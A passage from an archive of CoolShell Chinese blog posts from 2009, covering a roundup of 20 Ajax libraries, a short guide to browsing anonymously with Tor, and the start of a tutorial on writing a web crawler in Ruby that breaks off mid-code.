CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/37.html\">【引文】如何用Python往Google Spreadsheet上写数据</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 你应该知道的20个Ajax技术(01-10).html",
    "content": "<html><body><p><strong>1) TextboxList自动完成 （</strong><a href=\"http://devthought.com/textboxlist-meets-autocompletion/\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://devthought.com/wp-content/articles/autocompletelist/test.html\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>这个控件主要来自Facebook吧，在网易的邮件里也能看到，还有hotmail等等，在文本框里输入文本不但可以出现相关数据的列表，而且选中后的字符串还会变成一个小图标。这个控件主要用在电子邮件中吧。<br/>\n<img alt=\"\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/1.png\"/></p>\n<p><span id=\"more-7\"></span></p>\n<p><strong>2) Ajax IM即时聊天 （</strong><a href=\"http://www.ajaxim.com/\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://www.ajaxim.net/\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>Ajax IM是一个很牛的即时聊天的客户端，你可以使用它制作一个Web-Based的即时聊天工具，这是一个非常强大的Ajax技术。</p>\n<p><img alt=\"\" border=\"0\" height=\"233\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/2.jpg\" width=\"472\"/></p>\n<p><strong>3）即时校验用户的输入（</strong><a href=\"http://www.livevalidation.com/download\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://www.livevalidation.com/examples\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>以前，检验WEB表单的输入需要放在后台，因此，用户需要提交表单数据到后台才能知道是否所填写的内容有误。Ajax把实时检测表单输入域变成了现实，如今，我们在网上已经能看到很多很多的这样的应用，比如在你注册一个用户输入一个用户名的时候，不用提交整个表单到后台，你就能知道用户名是否已被人使用。</p>\n<p><img alt=\"\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/3.png\"/></p>\n<p><strong>4）即时编辑器（</strong><a href=\"http://www.ideasfreelance.com/lab/instant_edit/remote_cont.js\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://www.ideasfreelance.com/lab/instant_edit/\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>所谓即时编辑器就是双击一下网页上的文本，于是你就要吧编辑它了，编辑完后再单击一下别的地方，编辑过的内容就会被提交到后台保存。在这里，给出的示例是一个非常小巧的即时编辑器—— <a href=\"http://www.ideasfreelance.com/lab/instant_edit/\" target=\"_blank\"><span style=\"color: #468175;\">inline editor</span></a></p>\n<p><img alt=\"\" height=\"193\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/4.png\" width=\"511\"/></p>\n<p><strong>5）Ajax 式文件上传</strong></p>\n<p>使用Ajax上传文件会让用户得到非常好的用户体验，上网随例搜索一下，有太多太多的各式各样的文件上传的Ajax源码可以使用。然而，在coderproject网站有，你可以下载到一款非常小又非常好的Ajax程序，网址如下：<a href=\"http://www.codeproject.com/KB/aspnet/AJAXUpload.aspx\" target=\"_blank\">http://www.codeproject.com/KB/aspnet/AJAXUpload.aspx</a>。</p>\n<p>当然，如果你要一次上传多个文件，那个这个小程序还不足以满足你。不过，你可以使用JQuery的<a href=\"http://plugins.jquery.com/project/jquploader\" target=\"_blank\">JQUploader</a>。</p>\n<p><strong>6）Fancy Upload （</strong><a href=\"http://digitarald.de/project/fancyupload/\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://digitarald.de/project/fancyupload/2-0/showcase/photoqueue/\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>更为迷人的文件上传程序，你可以试试Fancy Upload，它通非常优秀的Javascript框架MooTools(<a href=\"http://mootools.net/\" target=\"_blank\">http://mootools.net/</a>)构造。</p>\n<p><img alt=\"\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/6.png\"/></p>\n<p><strong> 7）点击记录ClickHeat （</strong><a href=\"http://sourceforge.net/project/showfiles.php?group_id=181196\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://www.labsmedia.com/clickheat/index.html#\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>ClickHeat是一个非常简单而非常强大的Ajax技术，它可以记录下访问者们对你网站的点击坐标，以便于你分析你网站的访问者的习惯和他们的关注点。</p>\n<p><img alt=\"\" height=\"268\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/7.jpg\" width=\"448\"/></p>\n<p><strong>8）Ajax电子邮件表单 （</strong><a href=\"http://ninjadesigns.co.uk/enter/mailist.zip\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://ninjadesigns.co.uk/demo/mailist/index.php\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>这里主要推荐一款叫Maillist的Ajax程序，这是用来校验并提交电子邮件的地址的（不需要刷新页面），这样的设计极大地方便了用户的使用邮件订阅某些更新。我们想想看，这样的用户体现绝对会让你网站的用户特别愿意提交他们的电子邮件。</p>\n<p><img alt=\"\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/8.png\"/></p>\n<p><strong>9) Ajax目录管理器 （</strong><a href=\"http://ecosmear.com/relay/download.php\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://ecosmear.com/relay/demo/\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p> 使用Ajax做一个在线的WEB的目录浏览器是非常酷的事情，如果没有Ajax，这样的用户体验除上让用户装一个ActiveX控件，我们几乎无法在Web上实现。在这里，我们推荐Relay这个框架，它基本上有这样一些功能，a)支持文件拖拉，b)动态地载入文件目录列表， c)还有上传的进度条，d)支持多用户帐号。还有很多很多。Relay绝对实现了你所能想得到的功能。</p>\n<p><img alt=\"\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/9.jpg\"/></p>\n<p><strong>10）Ajax邮件客户端</strong></p>\n<p>目前，太多太多的邮件系统越来越多的使用Ajax技术。在用户体验方面，Gmail和网易邮箱最好。Hotmail的界面和outlook很相似了，可惜的是hotmail的运行速度感觉就像一辆后面拖着大石头的跑车。如果你想要开发一个Ajax的邮件客户端，那么，你一定要读一下下面的这篇文章：</p>\n<p><a href=\"http://www.devarticles.com/c/a/XML/Take-AJAX-to-Your-Email-Inbox-Developing-a-Webbased-POP-3-Client/\" target=\"_blank\">http://www.devarticles.com/c/a/XML/Take-AJAX-to-Your-Email-Inbox-Developing-a-Webbased-POP-3-Client/</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9749.html\"><img alt=\"Javascript 装载和执行\" height=\"150\" src=\"../wp-content/uploads/2013/06/javascript-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9749.html\">Javascript 装载和执行</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2593.html\"><img alt=\"Web版的VNC\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2593.html\">Web版的VNC</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1611.html\"><img alt=\"Ajax开发利器UIzard \" height=\"150\" src=\"../wp-content/uploads/2009/10/uizard2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1611.html\">Ajax开发利器UIzard </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/909.html\"><img alt=\"7个免费强大的Ajax文件管理器\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/909.html\">7个免费强大的Ajax文件管理器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7.html\">你应该知道的20个Ajax技术(01-10)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 你应该知道的20个Ajax技术(11-20).html",
    "content": "<html><body><p><strong>11) 表单字段帮助信息的自动提示</strong></p>\n<p>增强WEB表单的Usability有很多很多的方法，在网上一搜一大片，然后有些时候，用户会被表单搞得很混乱，而且，不同的用户会对表单有不同的理解，其输入也是千奇百怪。所以，为表单字段增加一下自动帮助信息的提示绝对是非常不错的选择。这点在淘宝网上表现得比较出现。下面是一个非常简单短小的教程。</p>\n<p><a href=\"http://woork.blogspot.com/2008/04/improve-form-usability-with-auto.html\" target=\"_blank\">http://woork.blogspot.com/2008/04/improve-form-usability-with-auto.html</a></p>\n<p><img alt=\"\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/10.png\"/></p>\n<p> <span id=\"more-9\"></span></p>\n<p><strong>12) qGallery (</strong><a href=\"http://qgallery.quadrifolia.de/\" target=\"_blank\"><strong>演示</strong></a><strong>)</strong></p>\n<p>虽然这不是一个有丰富功能的图库应用，但这绝对是一个非常优秀的Ajax应用。它基于Prototype Javascript框架（<a href=\"http://prototypejs.org/\" target=\"_blank\">http://prototypejs.org/</a>）制作，它对图片集的处理是非常优秀的。而且是它在节省网络带宽方面也很出色。本文写作之时，他目前还在开发阶段，还没有开放给大家下载。不过再等几个星期也就差不多该Release了。</p>\n<p><img alt=\"\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/11.jpg\"/></p>\n<p> </p>\n<p><strong>13）Ajax 星式打分（</strong><a href=\"http://www.masugadesign.com/download.php?ajaxstarrater_v122.zip\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://www.masugadesign.com/the-lab/scripts/unobtrusive-ajax-star-rating-bar/\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>人们总是想给他们身连的事物表达他们的喜恶，所以有一个星式打分控件绝对能满足他们的欲望。一个非常简单的Ajax脚本可以从下面的链接找到：<a href=\"http://www.masugadesign.com/the-lab/scripts/unobtrusive-ajax-star-rating-bar/\" target=\"_blank\">http://www.masugadesign.com/the-lab/scripts/unobtrusive-ajax-star-rating-bar/</a></p>\n<p><img alt=\"\" height=\"224\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/12.jpg\" width=\"505\"/></p>\n<p> </p>\n<p><strong>14）CakePHP Ajax表单</strong></p>\n<p>如果你是 <a href=\"http://nettuts.com/web-roundups/10-insanely-useful-django-tips/\" target=\"_blank\"><span style=\"color: #468175;\">Django</span></a> 或 <a href=\"http://www.cakephp.org/\" target=\"_blank\"><span style=\"color: #468175;\">CakePHP</span></a>的使用者，那么你应该要感谢CakeBaker 的这个教程——《how to <a href=\"http://cakebaker.42dh.com/2006/01/18/submit-a-form-with-ajax/\" target=\"_blank\"><span style=\"color: #468175;\">submit a form with Ajax</span></a>》，而它最强大的功能在于，如果我们的浏览器disable了Javascript，表单照样能够正常提交。</p>\n<p><img alt=\"\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/13.jpg\"/></p>\n<p> </p>\n<p><strong>15）Amberjack 站点导航（</strong><a href=\"http://amberjack.org/src/stable/\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://amberjack.org/?tourId=AJTour\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>在Web开发，<a href=\"http://www.amberjack.org/\" target=\"_blank\"><span style=\"color: #468175;\">Amberjack</span></a>绝对令人过目难忘的Javascript库，它能够帮助你快速地创建站点导航。Amberjack 最优秀的地方是，这个javascript库只有4K大小，但却有令人难以置信的简易。</p>\n<p><img alt=\"\\' /&gt;&lt;/div&gt;  &lt;div class=\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/14.jpg\"/> </p>\n<p> </p>\n<p><strong> 16）Prototype UI（</strong><a href=\"http://www.prototype-ui.com/download\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://www.prototype-ui.com/\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>Prototype UI基于<a href=\"http://www.prototypejs.org/\" target=\"_blank\"><span style=\"color: #468175;\">Prototype</span></a> 和<a href=\"http://script.aculo.us/\" target=\"_blank\"><span style=\"color: #468175;\">Scriptaculous</span></a>开发而成，它主要提供一堆图形界面的控件，本质上来说，他是一个用户接口类库，这个类库目前还持续增加中。而且所有的控件都可以很方便地定制。</p>\n<p><img alt=\"\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/15.jpg\"/></p>\n<p> </p>\n<p><strong>17）JCrop （</strong><a href=\"http://deepliquid.com/content/Jcrop_Download.html\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://deepliquid.com/content/Jcrop_Examples.html\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>在线的图片编辑显然是一个很棘手的事，那怕你使用photoshop，你也会觉得很难使用。当然，对于更多人，我们并不需要使用太多太复杂的图片编辑功能，如果有你上传图片的时候有这么一个功能可以让你剪裁你的图片，那么将会是一件很方便的事情。JCrop是一个<a href=\"http://www.jquery.com/\" target=\"_blank\"><span style=\"color: #468175;\">jQuery</span></a> 的插件，它允许你上传图片，并提供了非常多丰富的图片剪裁功能。很有前途。</p>\n<p><img alt=\"\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/16.jpg\"/></p>\n<p> </p>\n<p><strong>18）JQuery Auto-tabbing 插件（</strong><a href=\"http://www.lousyllama.com/sites/www.lousyllama.com/files/jquery.autotab-1.1b.js.txt\" target=\"_blank\"><strong>源码</strong></a><strong>，</strong><a href=\"http://www.lousyllama.com/sandbox/jquery-autotab\" target=\"_blank\"><strong>演示</strong></a><strong>）</strong></p>\n<p>我们知道，在我们输入WEB表单的时候，当我们输入完一个字段的时候，我们需要按Tab键或是用鼠标去点击下一个输入域，所以，如果有一个好的插件可以让光标自动跳到下一个输入域，这会是一个非常不错的用户体验。这个JQuery的插件可以做到这件事。</p>\n<p><img alt=\"\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/17.png\"/></p>\n<p> </p>\n<p><strong>19) 表格排序Ajax（</strong><a href=\"http://www.box.net/shared/53al1imrk4\" target=\"_blank\"><strong>源码</strong></a><strong>）</strong></p>\n<p>单击表格头标题可以根据该列对整个表格排序，是一个非常不错的功能。这里有一个非常不错的<a href=\"http://woork.blogspot.com/2008/02/sort-table-rows-using-ajax.html\" target=\"_blank\">教程</a>教你如何做到这个事，其最终的Javascript是<a href=\"http://www.kryogenix.org/code/browser/sorttable/\" target=\"_blank\"><span style=\"color: #468175;\">sortable.js</span></a>。</p>\n<p><img alt=\"\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/19.png\"/></p>\n<p> </p>\n<p>20)  DrasticMap (<a href=\"http://www.drasticdata.nl/DDDownloads.php\" target=\"_blank\">源码</a>，<a href=\"http://www.drasticdata.nl/DDExamples.php\" target=\"_blank\">演示</a>)</p>\n<p><a href=\"http://maps.google.com/\" target=\"_blank\"><span style=\"color: #468175;\">Google Maps</span></a>大家都很熟悉了，DrasticMap 可能让你后台的PHP和Mysql数据库同Google Map链动起来，它可以方便地把存储在数据库里的经纬库坐标展示在Google Map上。而且，它相当的灵活，它似乎可以被无限度</p>\n<p><img alt=\"\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/20.jpg\"/></p>\n<p>文章来源：<a href=\"http://nettuts.com/web-roundups/20-excellent-ajax-effects-you-should-know/\" target=\"_blank\">链接</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9749.html\"><img alt=\"Javascript 装载和执行\" height=\"150\" src=\"../wp-content/uploads/2013/06/javascript-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9749.html\">Javascript 装载和执行</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2593.html\"><img alt=\"Web版的VNC\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2593.html\">Web版的VNC</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1611.html\"><img alt=\"Ajax开发利器UIzard \" height=\"150\" src=\"../wp-content/uploads/2009/10/uizard2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1611.html\">Ajax开发利器UIzard </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/909.html\"><img alt=\"7个免费强大的Ajax文件管理器\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/909.html\">7个免费强大的Ajax文件管理器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9.html\">你应该知道的20个Ajax技术(11-20)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 如何上网觅无踪.html",
    "content": "<html><body><p></p>\n<p><img alt=\"\" class=\"alignright\" height=\"71\" src=\"http://img.henku.com/softimages/small/20080714_111637_406_u.jpg\" title=\"TOR\" width=\"125\"/>Tor是一个是开源项目，网址<a href=\"http://www.torproject.org\" target=\"_blank\">http://www.torproject.org</a><cite></cite>（很遗憾，这个网站因为GFW，在中国大陆你无法访问，），TOR这个项目，旨在把这个世界上所有的代理服务器或是使用Tor的这各个客户端串在一起，形成一个虚似的网络。</p>\n<p>这是一个分布式的，通过一种P2P技术构建的网络。这个技术很像是BT或是电驴所使用的技术。不过，Tor 的目标是抵御流量分析，流量分析是一种对网络的监视行为，这种行为会威胁个人的匿名与隐私，商业活动与业务关系的保密和国家的安全，打破网络屏蔽。</p>\n<p><span id=\"more-25\"></span></p>\n<p>也就是说，这是一种可以保护你私人上网信息的技术。你每次请求网页你都会通过第三方，每一次你都会使用不同的路由，不同的IP地址，从而达到你在网上的行踪无人可觅。</p>\n<p>这是我推荐你下载一个三套件，Vidalia Bundle，其中包括，Vidalia, Tor 和 Privoxy，也是属于Tor这个项目。你知道的，所有的开源项目都会互相借鉴，Tor也不例，除了自己的东西，同样也会借鉴别人的项目。</p>\n<p>安装后，你可以在你的开始菜单中找到“Vidalia Bundle”，然后，请先启动Privoxy，然后启动Tor，此时，你可以把你的浏览器的Sock代理设置为127.0.0.1，端口号是9050。（注意：这是Sock代理，不是HTTP代理）如果你使用的是Firefox，你只需要下载一个Firfox的Tor插件就可以完全代理的设置了。</p>\n<p>使用TOR，不但可以让自己的上网无踪迹，同样也可以突破我们国家的Great Firewall而去访问很多不能访问的国外站点。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22367.html\"><img alt=\"聊聊 nostr 和 审查\" height=\"150\" src=\"../wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22367.html\">聊聊 nostr 和 审查</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9859.html\"><img alt=\"Alan Cox：单向链表中prev指针的妙用\" height=\"150\" src=\"../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9859.html\">Alan Cox：单向链表中prev指针的妙用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1719.html\"><img alt=\"橡皮鸭程序调试法\" height=\"150\" src=\"../wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1719.html\">橡皮鸭程序调试法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1949.html\"><img alt=\"Web中的省略号\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1949.html\">Web中的省略号</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/25.html\">如何上网觅无踪</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-2 如何自己写一个网络爬虫.html",
    "content": "<html><body><p><a href=\"http://en.wikipedia.org/wiki/Web_spider\" target=\"_blank\">这里</a>是维基百科对网络爬虫的词条页面。网络爬虫以叫网络蜘蛛，网络机器人，这是一个程序，其会自动的通过网络抓取互联网上的网页，这种技术一般可能用来检查你的站点上所有的链接是否是都是有效的。当然，更为高级的技术是把网页中的相关数据保存下来，可以成为搜索引擎。</p>\n<p>从技相来说，实现抓取网页可能并不是一件很困难的事情，困难的事情是对网页的分析和整理，那是一件需要有轻量智能，需要大量数学计算的程序才能做的事情。下面一个简单的流程：</p>\n<p><span id=\"more-27\"></span></p>\n<p><img alt=\"\" class=\"alignnone\" height=\"382\" src=\"http://upload.wikimedia.org/wikipedia/commons/thumb/d/df/WebCrawlerArchitecture.svg/500px-WebCrawlerArchitecture.svg.png\" width=\"500\"/></p>\n<p>在这里，我们只是说一下如何写一个网页抓取程序。</p>\n<p>首先我们先看一下，如何使用命令行的方式来找开网页。</p>\n<p style=\"padding-left: 30px; text-align: left;\">telnet somesite.com 80<br/>\nGET /index.html HTTP/1.0<br/>\n按回车两次</p>\n<p style=\"text-align: left;\">使用telnet就是告诉你其实这是一个socket的技术，并且使用HTTP的协议，如GET方法来获得网页，当然，接下来的事你就需要解析HTML文法，甚至还需要解析Javascript，因为现在的网页使用Ajax的越来越多了，而很多网页内容都是通过Ajax技术加载的，因为，只是简单地解析HTML文件在未来会远远不够。当然，在这里，只是展示一个非常简单的抓取，简单到只能做为一个例子，下面这个示例的伪代码：</p>\n<pre>取网页\nfor each 链接 in 当前网页所有的链接\n{\n        if(如果本链接是我们想要的 || 这个链接从未访问过)\n        {\n                处理对本链接\n                把本链接设置为已访问\n        }\n}</pre>\n<pre class=\"ruby\">require “rubygems”\nrequire “mechanize”\n\nclass Crawler &lt; WWW::Mechanize\n\n  attr_accessor :callback\n  INDEX = 0\n  DOWNLOAD = 1\n  PASS = 2\n\n  def initialize\n    super\n    